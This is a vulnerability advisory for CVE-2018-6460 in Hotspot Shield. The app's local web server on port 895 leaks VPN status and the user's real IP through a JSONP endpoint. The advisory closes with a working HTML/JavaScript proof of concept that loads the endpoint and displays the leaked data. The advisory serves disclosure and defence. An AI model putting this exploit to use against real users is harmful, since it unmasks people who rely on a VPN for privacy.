Hotspot Shield – Information Disclosure
## Vulnerability Summary The following advisory describes a information disclosure found in Hotspot Shield. Hotspot Shield “provides secure and private access to a free and open internet. Enabling access to social networks, sports, audio and video streaming, news, dating, gaming wherever you are.” ## Credit An independent security researcher, Paulos Yibelo, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program. ## Vendor response “Thank you very much again for contacting us. The info is being reviewed and if there are any questions/comments, we’ll contact you by re-opening this ticket” CVE: CVE-2018-6460 ## Vulnerability details The HotspotShiled product runs webserver with a static IP 127.0.0.1 and port 895. The web server using JSONP and hosts sensitive information, including, configuration. User controlled input is not sufficiently filterd, an unauthenticated attacker can send a POST request to /status.js with parameter func=$_APPLOG.Rfunc and extract sensitive information about the machine, including wheater the user is connected to VPN, to which VPN he/she is connected to what their real IP address. ## Proof of Concept ``` <head> <script> var $_APPLOG = function() { return 1; } $_APPLOG.Rfunc = function(leak){ alert(JSON.stringify(leak)); } </script> </head> <script> var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.id = 'jsonp'; script.src = 'http://127.0.0.1:895/status.js?func=$_APPLOG.Rfunc&tm='+(new Date().getTime()); head.appendChild(script); </script> ``` |